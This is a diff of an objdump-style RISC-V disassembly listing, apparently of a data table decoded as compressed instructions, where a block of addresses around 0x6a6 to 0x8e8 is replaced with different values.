+     362:	cf00                	sw	s0,24(a4)
+     364:	007c                	addi	a5,sp,12
+     366:	0500                	addi	s0,sp,640
+     368:	ca00                	sw	s0,16(a2)
+     36a:	0074                	addi	a3,sp,12
+     36c:	0500                	addi	s0,sp,640
+     36e:	fc00                	fsw	fs0,56(s0)
+     370:	005c                	addi	a5,sp,4
+     372:	0500                	addi	s0,sp,640
+     374:	6500                	flw	fs0,8(a0)
+     376:	05000007          	0x5000007
+     37a:	cb00                	sw	s0,16(a4)
+     37c:	0500002b          	0x500002b
+     380:	0000                	unimp
+     382:	0085                	addi	ra,ra,1
+     384:	0500                	addi	s0,sp,640
+     386:	7e00                	flw	fs0,56(a2)
+     388:	009a                	slli	ra,ra,0x6
+     38a:	0500                	addi	s0,sp,640
+     38c:	a400                	fsd	fs0,8(s0)
+     38e:	0079                	c.nop	30
+     390:	0500                	addi	s0,sp,640
+     392:	8600                	0x8600
+     394:	0020                	addi	s0,sp,8
+     396:	0500                	addi	s0,sp,640
+     398:	3900                	fld	fs0,48(a0)
+     39a:	0029                	c.nop	10
+     39c:	0500                	addi	s0,sp,640
+     39e:	c600                	sw	s0,8(a2)
+     3a0:	05000057          	0x5000057
+     3a4:	eb00                	fsw	fs0,16(a4)
+     3a6:	0010                	0x10
+     3a8:	0500                	addi	s0,sp,640
+     3aa:	1d00                	addi	s0,sp,688
+     3ac:	05000027          	0x5000027
+     3b0:	5900                	lw	s0,48(a0)
+     3b2:	0071                	c.nop	28
+     3b4:	0500                	addi	s0,sp,640
+     3b6:	5100                	lw	s0,32(a0)
+     3b8:	0042                	c.slli	zero,0x10
+     3ba:	0500                	addi	s0,sp,640
+     3bc:	0e00                	addi	s0,sp,784
+     3be:	0032                	c.slli	zero,0xc
+     3c0:	0500                	addi	s0,sp,640
+     3c2:	d300                	sw	s0,32(a4)
+     3c4:	0000                	unimp
+     3c6:	0500                	addi	s0,sp,640
+     3c8:	4a00                	lw	s0,16(a2)
+     3ca:	0066                	c.slli	zero,0x19
+     3cc:	0500                	addi	s0,sp,640
+     3ce:	a200                	fsd	fs0,0(a2)
+     3d0:	009a                	slli	ra,ra,0x6
+     3d2:	0500                	addi	s0,sp,640
+     3d4:	9b00                	0x9b00
+     3d6:	0061                	c.nop	24
+     3d8:	0500                	addi	s0,sp,640
+     3da:	a000                	fsd	fs0,0(s0)
+     3dc:	0004                	0x4
+     3de:	0500                	addi	s0,sp,640
+     3e0:	cd00                	sw	s0,24(a0)
+     3e2:	002d                	c.nop	11
+     3e4:	0500                	addi	s0,sp,640
+     3e6:	e000                	fsw	fs0,0(s0)
+     3e8:	05000057          	0x5000057
+     3ec:	7600                	flw	fs0,40(a2)
+     3ee:	0014                	0x14
+     3f0:	0500                	addi	s0,sp,640
+     3f2:	e700                	fsw	fs0,8(a4)
+     3f4:	0500009b          	0x500009b
+     3f8:	bd00                	fsd	fs0,56(a0)
+     3fa:	0065                	c.nop	25
+     3fc:	0500                	addi	s0,sp,640
+     3fe:	a500                	fsd	fs0,8(a0)
+     400:	0010                	0x10
+     402:	0500                	addi	s0,sp,640
+     404:	5f00                	lw	s0,56(a4)
+     406:	007f                	0x7f
+     408:	0500                	addi	s0,sp,640
+     40a:	1300                	addi	s0,sp,416
+     40c:	0038                	addi	a4,sp,8
+     40e:	0500                	addi	s0,sp,640
+     410:	7500                	flw	fs0,40(a0)
+     412:	0051                	c.nop	20
+     414:	0500                	addi	s0,sp,640
+     416:	a700                	fsd	fs0,8(a4)
+     418:	0090                	addi	a2,sp,64
+     41a:	0500                	addi	s0,sp,640
+     41c:	9100                	0x9100
+     41e:	05000013          	li	zero,80
+     422:	8100                	0x8100
+     424:	0015                	c.nop	5
+     426:	0500                	addi	s0,sp,640
+     428:	1100                	addi	s0,sp,160
+     42a:	0025                	c.nop	9
+     42c:	0500                	addi	s0,sp,640
+     42e:	0700                	addi	s0,sp,896
+     430:	0006                	c.slli	zero,0x1
+     432:	0500                	addi	s0,sp,640
+     434:	4e00                	lw	s0,24(a2)
+     436:	004c                	addi	a1,sp,4
+     438:	0500                	addi	s0,sp,640
+     43a:	2300                	fld	fs0,0(a4)
+     43c:	0089                	addi	ra,ra,2
+     43e:	0500                	addi	s0,sp,640
+     440:	a000                	fsd	fs0,0(s0)
+     442:	00a0                	addi	s0,sp,72
+     444:	0500                	addi	s0,sp,640
+     446:	c500                	sw	s0,8(a0)
+     448:	0011                	c.nop	4
+     44a:	0500                	addi	s0,sp,640
+     44c:	1100                	addi	s0,sp,160
+     44e:	0500009b          	0x500009b
+     452:	3b00                	fld	fs0,48(a4)
+     454:	009f 0500 5300      	0x53000500009f
+     45a:	008d                	addi	ra,ra,3
+     45c:	0500                	addi	s0,sp,640
+     45e:	4200                	lw	s0,0(a2)
+     460:	0089                	addi	ra,ra,2
+     462:	0500                	addi	s0,sp,640
+     464:	b000                	fsd	fs0,32(s0)
+     466:	005f 0500 1d00      	0x1d000500005f
+     46c:	004a                	c.slli	zero,0x12
+     46e:	0500                	addi	s0,sp,640
+     470:	4c00                	lw	s0,24(s0)
+     472:	0081                	addi	ra,ra,0
+     474:	0500                	addi	s0,sp,640
+     476:	be00                	fsd	fs0,56(a2)
+     478:	0042                	c.slli	zero,0x10
+     47a:	0500                	addi	s0,sp,640
+     47c:	2d00                	fld	fs0,24(a0)
+     47e:	0500001b          	0x500001b
+     482:	4600                	lw	s0,8(a2)
+     484:	0500000f          	fence	ow,unknown
+     488:	d000                	sw	s0,32(s0)
+     48a:	0071                	c.nop	28
+     48c:	0500                	addi	s0,sp,640
+     48e:	a500                	fsd	fs0,8(a0)
+     490:	0500004f          	0x500004f
+     494:	9200                	0x9200
+     496:	0008                	0x8
+     498:	0500                	addi	s0,sp,640
+     49a:	6a00                	flw	fs0,16(a2)
+     49c:	009d                	addi	ra,ra,7
+     49e:	0500                	addi	s0,sp,640
+     4a0:	3700                	fld	fs0,40(a4)
+     4a2:	004c                	addi	a1,sp,4
+     4a4:	0500                	addi	s0,sp,640
+     4a6:	a100                	fsd	fs0,0(a0)
+     4a8:	003c                	addi	a5,sp,8
+     4aa:	0500                	addi	s0,sp,640
+     4ac:	d800                	sw	s0,48(s0)
+     4ae:	000c                	0xc
+     4b0:	0500                	addi	s0,sp,640
+     4b2:	0e00                	addi	s0,sp,784
+     4b4:	004c                	addi	a1,sp,4
+     4b6:	0500                	addi	s0,sp,640
+     4b8:	8600                	0x8600
+     4ba:	0031                	c.nop	12
+     4bc:	0500                	addi	s0,sp,640
+     4be:	db00                	sw	s0,48(a4)
+     4c0:	0069                	c.nop	26
+     4c2:	0500                	addi	s0,sp,640
+     4c4:	4500                	lw	s0,8(a0)
+     4c6:	0069                	c.nop	26
+     4c8:	0500                	addi	s0,sp,640
+     4ca:	ef00                	fsw	fs0,24(a4)
+     4cc:	0022                	c.slli	zero,0x8
+     4ce:	0500                	addi	s0,sp,640
+     4d0:	c800                	sw	s0,16(s0)
+     4d2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     4d6:	8e00                	0x8e00
+     4d8:	004d                	c.nop	19
+     4da:	0500                	addi	s0,sp,640
+     4dc:	e600                	fsw	fs0,8(a2)
+     4de:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+     4e2:	5a00                	lw	s0,48(a2)
+     4e4:	05000057          	0x5000057
+     4e8:	2900                	fld	fs0,16(a0)
+     4ea:	0042                	c.slli	zero,0x10
+     4ec:	0500                	addi	s0,sp,640
+     4ee:	5000                	lw	s0,32(s0)
+     4f0:	0008                	0x8
+     4f2:	0500                	addi	s0,sp,640
+     4f4:	a000                	fsd	fs0,0(s0)
+     4f6:	0035                	c.nop	13
+     4f8:	0500                	addi	s0,sp,640
+     4fa:	9200                	0x9200
+     4fc:	007c                	addi	a5,sp,12
+     4fe:	0500                	addi	s0,sp,640
+     500:	dc00                	sw	s0,56(s0)
+     502:	0500006b          	0x500006b
+     506:	fc00                	fsw	fs0,56(s0)
+     508:	0062                	c.slli	zero,0x18
+     50a:	0500                	addi	s0,sp,640
+     50c:	cd00                	sw	s0,24(a0)
+     50e:	05000043          	0x5000043
+     512:	1200                	addi	s0,sp,288
+     514:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     518:	7e00                	flw	fs0,56(a2)
+     51a:	0028                	addi	a0,sp,8
+     51c:	0500                	addi	s0,sp,640
+     51e:	b300                	fsd	fs0,32(a4)
+     520:	0500007b          	0x500007b
+     524:	6f00                	flw	fs0,24(a4)
+     526:	0500004f          	0x500004f
+     52a:	be00                	fsd	fs0,56(a2)
+     52c:	05000033          	0x5000033
+     530:	5a00                	lw	s0,48(a2)
+     532:	0060                	addi	s0,sp,12
+     534:	0500                	addi	s0,sp,640
+     536:	c800                	sw	s0,16(s0)
+     538:	0044                	addi	s1,sp,4
+     53a:	0500                	addi	s0,sp,640
+     53c:	d900                	sw	s0,48(a0)
+     53e:	0002                	c.slli64	zero
+     540:	0500                	addi	s0,sp,640
+     542:	0100                	addi	s0,sp,128
+     544:	0072                	c.slli	zero,0x1c
+     546:	0500                	addi	s0,sp,640
+     548:	2100                	fld	fs0,0(a0)
+     54a:	0070                	addi	a2,sp,12
+     54c:	0500                	addi	s0,sp,640
+     54e:	b200                	fsd	fs0,32(a2)
+     550:	004d                	c.nop	19
+     552:	0500                	addi	s0,sp,640
+     554:	3c00                	fld	fs0,56(s0)
+     556:	003d                	c.nop	15
+     558:	0500                	addi	s0,sp,640
+     55a:	0400                	addi	s0,sp,512
+     55c:	0011                	c.nop	4
+     55e:	0500                	addi	s0,sp,640
+     560:	d900                	sw	s0,48(a0)
+     562:	0060                	addi	s0,sp,12
+     564:	0500                	addi	s0,sp,640
+     566:	9c00                	0x9c00
+     568:	0085                	addi	ra,ra,1
+     56a:	0500                	addi	s0,sp,640
+     56c:	8500                	0x8500
+     56e:	0094                	addi	a3,sp,64
+     570:	0500                	addi	s0,sp,640
+     572:	fe00                	fsw	fs0,56(a2)
+     574:	00a0                	addi	s0,sp,72
+     576:	0500                	addi	s0,sp,640
+     578:	9700                	0x9700
+     57a:	0500000f          	fence	ow,unknown
+     57e:	b200                	fsd	fs0,32(a2)
+     580:	0031                	c.nop	12
+     582:	0500                	addi	s0,sp,640
+     584:	e400                	fsw	fs0,8(s0)
+     586:	0018                	0x18
+     588:	0500                	addi	s0,sp,640
+     58a:	c400                	sw	s0,8(s0)
+     58c:	0049                	c.nop	18
+     58e:	0500                	addi	s0,sp,640
+     590:	cc00                	sw	s0,24(s0)
+     592:	0014                	0x14
+     594:	0500                	addi	s0,sp,640
+     596:	8100                	0x8100
+     598:	0084                	addi	s1,sp,64
+     59a:	0500                	addi	s0,sp,640
+     59c:	a500                	fsd	fs0,8(a0)
+     59e:	0500000b          	0x500000b
+     5a2:	d100                	sw	s0,32(a0)
+     5a4:	004d                	c.nop	19
+     5a6:	0500                	addi	s0,sp,640
+     5a8:	ed00                	fsw	fs0,24(a0)
+     5aa:	0054                	addi	a3,sp,4
+     5ac:	0500                	addi	s0,sp,640
+     5ae:	8000                	0x8000
+     5b0:	004a                	c.slli	zero,0x12
+     5b2:	0500                	addi	s0,sp,640
+     5b4:	5700                	lw	s0,40(a4)
+     5b6:	05000043          	0x5000043
+     5ba:	3400                	fld	fs0,40(s0)
+     5bc:	0076                	c.slli	zero,0x1d
+     5be:	0500                	addi	s0,sp,640
+     5c0:	2c00                	fld	fs0,24(s0)
+     5c2:	0045                	c.nop	17
+     5c4:	0500                	addi	s0,sp,640
+     5c6:	3600                	fld	fs0,40(a2)
+     5c8:	008e                	slli	ra,ra,0x3
+     5ca:	0500                	addi	s0,sp,640
+     5cc:	6600                	flw	fs0,8(a2)
+     5ce:	0025                	c.nop	9
+     5d0:	0500                	addi	s0,sp,640
+     5d2:	6200                	flw	fs0,0(a2)
+     5d4:	0028                	addi	a0,sp,8
+     5d6:	0500                	addi	s0,sp,640
+     5d8:	ab00                	fsd	fs0,16(a4)
+     5da:	0011                	c.nop	4
+     5dc:	0500                	addi	s0,sp,640
+     5de:	1300                	addi	s0,sp,416
+     5e0:	0071                	c.nop	28
+     5e2:	0500                	addi	s0,sp,640
+     5e4:	b700                	fsd	fs0,40(a4)
+     5e6:	05000043          	0x5000043
+     5ea:	f100                	fsw	fs0,32(a0)
+     5ec:	0029                	c.nop	10
+     5ee:	0500                	addi	s0,sp,640
+     5f0:	3500                	fld	fs0,40(a0)
+     5f2:	0032                	c.slli	zero,0xc
+     5f4:	0500                	addi	s0,sp,640
+     5f6:	4d00                	lw	s0,24(a0)
+     5f8:	0020                	addi	s0,sp,8
+     5fa:	0500                	addi	s0,sp,640
+     5fc:	1500                	addi	s0,sp,672
+     5fe:	007d                	c.nop	31
+     600:	0500                	addi	s0,sp,640
+     602:	3600                	fld	fs0,40(a2)
+     604:	0002                	c.slli64	zero
+     606:	0500                	addi	s0,sp,640
+     608:	dd00                	sw	s0,56(a0)
+     60a:	0008                	0x8
+     60c:	0500                	addi	s0,sp,640
+     60e:	5100                	lw	s0,32(a0)
+     610:	05000077          	0x5000077
+     614:	a600                	fsd	fs0,8(a2)
+     616:	0042                	c.slli	zero,0x10
+     618:	0500                	addi	s0,sp,640
+     61a:	f000                	fsw	fs0,32(s0)
+     61c:	000e                	c.slli	zero,0x3
+     61e:	0500                	addi	s0,sp,640
+     620:	dd00                	sw	s0,56(a0)
+     622:	0500003b          	0x500003b
+     626:	b000                	fsd	fs0,32(s0)
+     628:	0051                	c.nop	20
+     62a:	0500                	addi	s0,sp,640
+     62c:	8500                	0x8500
+     62e:	0500004f          	0x500004f
+     632:	b800                	fsd	fs0,48(s0)
+     634:	0079                	c.nop	30
+     636:	0500                	addi	s0,sp,640
+     638:	7a00                	flw	fs0,48(a2)
+     63a:	0006                	c.slli	zero,0x1
+     63c:	0500                	addi	s0,sp,640
+     63e:	cc00                	sw	s0,24(s0)
+     640:	005a                	c.slli	zero,0x16
+     642:	0500                	addi	s0,sp,640
+     644:	f900                	fsw	fs0,48(a0)
+     646:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+     64a:	4300                	lw	s0,0(a4)
+     64c:	0088                	addi	a0,sp,64
+     64e:	0500                	addi	s0,sp,640
+     650:	6700                	flw	fs0,8(a4)
+     652:	05000047          	0x5000047
+     656:	2d00                	fld	fs0,24(a0)
+     658:	001e                	c.slli	zero,0x7
+     65a:	0500                	addi	s0,sp,640
+     65c:	1500                	addi	s0,sp,672
+     65e:	004d                	c.nop	19
+     660:	0500                	addi	s0,sp,640
+     662:	9d00                	0x9d00
+     664:	05000033          	0x5000033
+     668:	0400                	addi	s0,sp,512
+     66a:	05000097          	auipc	ra,0x5000
+     66e:	2200                	fld	fs0,0(a2)
+     670:	0034                	addi	a3,sp,8
+     672:	0500                	addi	s0,sp,640
+     674:	b700                	fsd	fs0,40(a4)
+     676:	002e                	c.slli	zero,0xb
+     678:	0500                	addi	s0,sp,640
+     67a:	f600                	fsw	fs0,40(a2)
+     67c:	05000027          	0x5000027
+     680:	db00                	sw	s0,48(a4)
+     682:	0031                	c.nop	12
+     684:	0500                	addi	s0,sp,640
+     686:	3200                	fld	fs0,32(a2)
+     688:	0022                	c.slli	zero,0x8
+     68a:	0500                	addi	s0,sp,640
+     68c:	0500                	addi	s0,sp,640
+     68e:	001a                	c.slli	zero,0x6
+     690:	0500                	addi	s0,sp,640
+     692:	c300                	sw	s0,0(a4)
+     694:	0002                	c.slli64	zero
+     696:	0500                	addi	s0,sp,640
+     698:	9900                	0x9900
+     69a:	05000073          	0x5000073
+     69e:	a500                	fsd	fs0,8(a0)
+     6a0:	0500006b          	0x500006b
      6a4:	0500                	addi	s0,sp,640
-     6a6:	fe00                	fsw	fs0,56(a2)
-     6a8:	0072                	c.slli	zero,0x1c
-     6aa:	0500                	addi	s0,sp,640
-     6ac:	0300                	addi	s0,sp,384
-     6ae:	0500006b          	0x500006b
-     6b2:	5600                	lw	s0,40(a2)
-     6b4:	05000097          	auipc	ra,0x5000
-     6b8:	9500                	0x9500
-     6ba:	009d                	addi	ra,ra,7
-     6bc:	0500                	addi	s0,sp,640
-     6be:	4e00                	lw	s0,24(a2)
-     6c0:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     6c4:	4d00                	lw	s0,24(a0)
-     6c6:	0095                	addi	ra,ra,5
-     6c8:	0500                	addi	s0,sp,640
-     6ca:	ca00                	sw	s0,16(a2)
-     6cc:	0098                	addi	a4,sp,64
-     6ce:	0500                	addi	s0,sp,640
-     6d0:	4900                	lw	s0,16(a0)
-     6d2:	0009                	c.nop	2
-     6d4:	0500                	addi	s0,sp,640
-     6d6:	bf00                	fsd	fs0,56(a4)
-     6d8:	003d                	c.nop	15
-     6da:	0500                	addi	s0,sp,640
-     6dc:	3500                	fld	fs0,40(a0)
-     6de:	0022                	c.slli	zero,0x8
-     6e0:	0500                	addi	s0,sp,640
-     6e2:	4400                	lw	s0,8(s0)
-     6e4:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     6e8:	c800                	sw	s0,16(s0)
-     6ea:	008c                	addi	a1,sp,64
-     6ec:	0500                	addi	s0,sp,640
-     6ee:	3b00                	fld	fs0,48(a4)
-     6f0:	0021                	c.nop	8
-     6f2:	0500                	addi	s0,sp,640
-     6f4:	7900                	flw	fs0,48(a0)
-     6f6:	05000027          	0x5000027
-     6fa:	c800                	sw	s0,16(s0)
-     6fc:	0006                	c.slli	zero,0x1
-     6fe:	0500                	addi	s0,sp,640
-     700:	e900                	fsw	fs0,16(a0)
-     702:	002a                	c.slli	zero,0xa
-     704:	0500                	addi	s0,sp,640
-     706:	3900                	fld	fs0,48(a0)
-     708:	0094                	addi	a3,sp,64
-     70a:	0500                	addi	s0,sp,640
-     70c:	6700                	flw	fs0,8(a4)
-     70e:	0055                	c.nop	21
-     710:	0500                	addi	s0,sp,640
-     712:	6300                	flw	fs0,0(a4)
-     714:	05000007          	0x5000007
-     718:	8a00                	0x8a00
-     71a:	05000013          	li	zero,80
-     71e:	d800                	sw	s0,48(s0)
-     720:	0045                	c.nop	17
-     722:	0500                	addi	s0,sp,640
-     724:	1b00                	addi	s0,sp,432
-     726:	0060                	addi	s0,sp,12
-     728:	0500                	addi	s0,sp,640
-     72a:	ab00                	fsd	fs0,16(a4)
-     72c:	000c                	0xc
-     72e:	0500                	addi	s0,sp,640
-     730:	1c00                	addi	s0,sp,560
-     732:	0095                	addi	ra,ra,5
-     734:	0500                	addi	s0,sp,640
-     736:	4d00                	lw	s0,24(a0)
-     738:	009a                	slli	ra,ra,0x6
-     73a:	0500                	addi	s0,sp,640
-     73c:	7400                	flw	fs0,40(s0)
-     73e:	0500000b          	0x500000b
-     742:	5c00                	lw	s0,56(s0)
-     744:	0500003b          	0x500003b
-     748:	cf00                	sw	s0,24(a4)
-     74a:	009a                	slli	ra,ra,0x6
-     74c:	0500                	addi	s0,sp,640
-     74e:	1500                	addi	s0,sp,672
-     750:	009e                	slli	ra,ra,0x7
-     752:	0500                	addi	s0,sp,640
-     754:	b600                	fsd	fs0,40(a2)
-     756:	05000053          	0x5000053
-     75a:	2800                	fld	fs0,16(s0)
-     75c:	0021                	c.nop	8
-     75e:	0500                	addi	s0,sp,640
-     760:	fa00                	fsw	fs0,48(a2)
-     762:	0019                	c.nop	6
-     764:	0500                	addi	s0,sp,640
-     766:	7000                	flw	fs0,32(s0)
-     768:	0064                	addi	s1,sp,12
-     76a:	0500                	addi	s0,sp,640
-     76c:	6100                	flw	fs0,0(a0)
-     76e:	0092                	slli	ra,ra,0x4
-     770:	0500                	addi	s0,sp,640
-     772:	8500                	0x8500
-     774:	0500004b          	0x500004b
-     778:	8b00                	0x8b00
-     77a:	0095                	addi	ra,ra,5
-     77c:	0500                	addi	s0,sp,640
-     77e:	c200                	sw	s0,0(a2)
-     780:	007a                	c.slli	zero,0x1e
-     782:	0500                	addi	s0,sp,640
-     784:	0c00                	addi	s0,sp,528
-     786:	005c                	addi	a5,sp,4
-     788:	0500                	addi	s0,sp,640
-     78a:	8700                	0x8700
-     78c:	0096                	slli	ra,ra,0x5
-     78e:	0500                	addi	s0,sp,640
-     790:	8400                	0x8400
-     792:	006c                	addi	a1,sp,12
-     794:	0500                	addi	s0,sp,640
-     796:	de00                	sw	s0,56(a2)
-     798:	0500001b          	0x500001b
-     79c:	c400                	sw	s0,8(s0)
-     79e:	0001                	nop
-     7a0:	0500                	addi	s0,sp,640
-     7a2:	c200                	sw	s0,0(a2)
-     7a4:	0020                	addi	s0,sp,8
-     7a6:	0500                	addi	s0,sp,640
-     7a8:	a500                	fsd	fs0,8(a0)
-     7aa:	0014                	0x14
-     7ac:	0500                	addi	s0,sp,640
-     7ae:	4000                	lw	s0,0(s0)
-     7b0:	0006                	c.slli	zero,0x1
-     7b2:	0500                	addi	s0,sp,640
-     7b4:	c600                	sw	s0,8(a2)
-     7b6:	005a                	c.slli	zero,0x16
-     7b8:	0500                	addi	s0,sp,640
-     7ba:	e600                	fsw	fs0,8(a2)
-     7bc:	0500002b          	0x500002b
-     7c0:	c900                	sw	s0,16(a0)
-     7c2:	0024                	addi	s1,sp,8
-     7c4:	0500                	addi	s0,sp,640
-     7c6:	9200                	0x9200
-     7c8:	00a0                	addi	s0,sp,72
-     7ca:	0500                	addi	s0,sp,640
-     7cc:	f400                	fsw	fs0,40(s0)
-     7ce:	0079                	c.nop	30
-     7d0:	0500                	addi	s0,sp,640
-     7d2:	fd00                	fsw	fs0,56(a0)
-     7d4:	05000087          	0x5000087
-     7d8:	7000                	flw	fs0,32(s0)
-     7da:	000d                	c.nop	3
-     7dc:	0500                	addi	s0,sp,640
-     7de:	fc00                	fsw	fs0,56(s0)
-     7e0:	006c                	addi	a1,sp,12
-     7e2:	0500                	addi	s0,sp,640
-     7e4:	7e00                	flw	fs0,56(a2)
-     7e6:	001a                	c.slli	zero,0x6
-     7e8:	0500                	addi	s0,sp,640
-     7ea:	2900                	fld	fs0,16(a0)
-     7ec:	0092                	slli	ra,ra,0x4
-     7ee:	0500                	addi	s0,sp,640
-     7f0:	3700                	fld	fs0,40(a4)
-     7f2:	0068                	addi	a0,sp,12
-     7f4:	0500                	addi	s0,sp,640
-     7f6:	c000                	sw	s0,0(s0)
-     7f8:	0035                	c.nop	13
-     7fa:	0500                	addi	s0,sp,640
-     7fc:	af00                	fsd	fs0,24(a4)
-     7fe:	0080                	addi	s0,sp,64
-     800:	0500                	addi	s0,sp,640
-     802:	b000                	fsd	fs0,32(s0)
-     804:	0004                	0x4
-     806:	0500                	addi	s0,sp,640
-     808:	d200                	sw	s0,32(a2)
-     80a:	005c                	addi	a5,sp,4
-     80c:	0500                	addi	s0,sp,640
-     80e:	4300                	lw	s0,0(a4)
-     810:	0060                	addi	s0,sp,12
-     812:	0500                	addi	s0,sp,640
-     814:	8700                	0x8700
-     816:	05000087          	0x5000087
-     81a:	d900                	sw	s0,48(a0)
-     81c:	0094                	addi	a3,sp,64
-     81e:	0500                	addi	s0,sp,640
-     820:	af00                	fsd	fs0,24(a4)
-     822:	0500007b          	0x500007b
-     826:	6700                	flw	fs0,8(a4)
-     828:	0062                	c.slli	zero,0x18
-     82a:	0500                	addi	s0,sp,640
-     82c:	f800                	fsw	fs0,48(s0)
-     82e:	005a                	c.slli	zero,0x16
-     830:	0500                	addi	s0,sp,640
-     832:	b900                	fsd	fs0,48(a0)
-     834:	006c                	addi	a1,sp,12
-     836:	0500                	addi	s0,sp,640
-     838:	6800                	flw	fs0,16(s0)
-     83a:	0099                	addi	ra,ra,6
-     83c:	0500                	addi	s0,sp,640
-     83e:	0500                	addi	s0,sp,640
-     840:	0069                	c.nop	26
-     842:	0500                	addi	s0,sp,640
-     844:	fa00                	fsw	fs0,48(a2)
-     846:	002e                	c.slli	zero,0xb
-     848:	0500                	addi	s0,sp,640
-     84a:	b000                	fsd	fs0,32(s0)
-     84c:	0500000f          	fence	ow,unknown
-     850:	5e00                	lw	s0,56(a2)
-     852:	05000037          	lui	zero,0x5000
-     856:	3700                	fld	fs0,40(a4)
-     858:	0015                	c.nop	5
-     85a:	0500                	addi	s0,sp,640
-     85c:	8100                	0x8100
-     85e:	0009                	c.nop	2
-     860:	0500                	addi	s0,sp,640
-     862:	7300                	flw	fs0,32(a4)
-     864:	05000073          	0x5000073
-     868:	5900                	lw	s0,48(a0)
-     86a:	001c                	0x1c
-     86c:	0500                	addi	s0,sp,640
-     86e:	b000                	fsd	fs0,32(s0)
-     870:	0098                	addi	a4,sp,64
-     872:	0500                	addi	s0,sp,640
-     874:	0100                	addi	s0,sp,128
-     876:	0500006f          	j	8c6 <__stack_size+0xc6>
-     87a:	3e00                	fld	fs0,56(a2)
-     87c:	0066                	c.slli	zero,0x19
-     87e:	0500                	addi	s0,sp,640
-     880:	8b00                	0x8b00
-     882:	000e                	c.slli	zero,0x3
-     884:	0500                	addi	s0,sp,640
-     886:	9e00                	0x9e00
-     888:	0054                	addi	a3,sp,4
-     88a:	0500                	addi	s0,sp,640
-     88c:	d400                	sw	s0,40(s0)
-     88e:	05000073          	0x5000073
-     892:	e700                	fsw	fs0,8(a4)
-     894:	0049                	c.nop	18
-     896:	0500                	addi	s0,sp,640
-     898:	6000                	flw	fs0,0(s0)
-     89a:	0084                	addi	s1,sp,64
-     89c:	0500                	addi	s0,sp,640
-     89e:	d300                	sw	s0,32(a4)
-     8a0:	0090                	addi	a2,sp,64
-     8a2:	0500                	addi	s0,sp,640
-     8a4:	5700                	lw	s0,40(a4)
-     8a6:	0034                	addi	a3,sp,8
-     8a8:	0500                	addi	s0,sp,640
-     8aa:	d500                	sw	s0,40(a0)
-     8ac:	0021                	c.nop	8
-     8ae:	0500                	addi	s0,sp,640
-     8b0:	f000                	fsw	fs0,32(s0)
-     8b2:	0082                	c.slli64	ra
-     8b4:	0500                	addi	s0,sp,640
-     8b6:	dd00                	sw	s0,56(a0)
-     8b8:	0008                	0x8
-     8ba:	0500                	addi	s0,sp,640
-     8bc:	ae00                	fsd	fs0,24(a2)
-     8be:	0500001b          	0x500001b
-     8c2:	af00                	fsd	fs0,24(a4)
-     8c4:	0010                	0x10
-     8c6:	0500                	addi	s0,sp,640
-     8c8:	d900                	sw	s0,48(a0)
-     8ca:	0036                	c.slli	zero,0xd
-     8cc:	0500                	addi	s0,sp,640
-     8ce:	8e00                	0x8e00
-     8d0:	0072                	c.slli	zero,0x1c
-     8d2:	0500                	addi	s0,sp,640
-     8d4:	8500                	0x8500
-     8d6:	0085                	addi	ra,ra,1
-     8d8:	0500                	addi	s0,sp,640
-     8da:	8800                	0x8800
-     8dc:	008a                	slli	ra,ra,0x2
-     8de:	0500                	addi	s0,sp,640
-     8e0:	e900                	fsw	fs0,16(a0)
-     8e2:	05000017          	auipc	zero,0x5000
-     8e6:	6500                	flw	fs0,8(a0)
-     8e8:	0021                	c.nop	8
+     6a6:	0098                	addi	a4,sp,64
+     6a8:	0500                	addi	s0,sp,640
+     6aa:	ea00                	fsw	fs0,16(a2)
+     6ac:	009d                	addi	ra,ra,7
+     6ae:	0500                	addi	s0,sp,640
+     6b0:	ff00                	fsw	fs0,56(a4)
+     6b2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     6b6:	fc00                	fsw	fs0,56(s0)
+     6b8:	0095                	addi	ra,ra,5
+     6ba:	0500                	addi	s0,sp,640
+     6bc:	6d00                	flw	fs0,24(a0)
+     6be:	0099                	addi	ra,ra,6
+     6c0:	0500                	addi	s0,sp,640
+     6c2:	f500                	fsw	fs0,40(a0)
+     6c4:	0008                	0x8
+     6c6:	0500                	addi	s0,sp,640
+     6c8:	ca00                	sw	s0,16(a2)
+     6ca:	003e                	c.slli	zero,0xf
+     6cc:	0500                	addi	s0,sp,640
+     6ce:	f000                	fsw	fs0,32(s0)
+     6d0:	0099                	addi	ra,ra,6
+     6d2:	0500                	addi	s0,sp,640
+     6d4:	ca00                	sw	s0,16(a2)
+     6d6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
+     6da:	7b00                	flw	fs0,48(a4)
+     6dc:	008d                	addi	ra,ra,3
+     6de:	0500                	addi	s0,sp,640
+     6e0:	b300                	fsd	fs0,32(a4)
+     6e2:	0021                	c.nop	8
+     6e4:	0500                	addi	s0,sp,640
+     6e6:	3d00                	fld	fs0,56(a0)
+     6e8:	0028                	addi	a0,sp,8
+     6ea:	0500                	addi	s0,sp,640
+     6ec:	3e00                	fld	fs0,56(a2)
+     6ee:	0006                	c.slli	zero,0x1
+     6f0:	0500                	addi	s0,sp,640
+     6f2:	b400                	fsd	fs0,40(s0)
+     6f4:	0500002b          	0x500002b
+     6f8:	e800                	fsw	fs0,16(s0)
+     6fa:	0094                	addi	a3,sp,64
+     6fc:	0500                	addi	s0,sp,640
+     6fe:	8000                	0x8000
+     700:	0056                	c.slli	zero,0x15
+     702:	0500                	addi	s0,sp,640
+     704:	2300                	fld	fs0,0(a4)
+     706:	05000007          	0x5000007
+     70a:	dd00                	sw	s0,56(a0)
+     70c:	0012                	c.slli	zero,0x4
+     70e:	0500                	addi	s0,sp,640
+     710:	e500                	fsw	fs0,8(a0)
+     712:	0046                	c.slli	zero,0x11
+     714:	0500                	addi	s0,sp,640
+     716:	1800                	addi	s0,sp,48
+     718:	0061                	c.nop	24
+     71a:	0500                	addi	s0,sp,640
+     71c:	3900                	fld	fs0,48(a0)
+     71e:	000c                	0xc
+     720:	0500                	addi	s0,sp,640
+     722:	cb00                	sw	s0,16(a4)
+     724:	0095                	addi	ra,ra,5
+     726:	0500                	addi	s0,sp,640
+     728:	fb00                	fsw	fs0,48(a4)
+     72a:	009a                	slli	ra,ra,0x6
+     72c:	0500                	addi	s0,sp,640
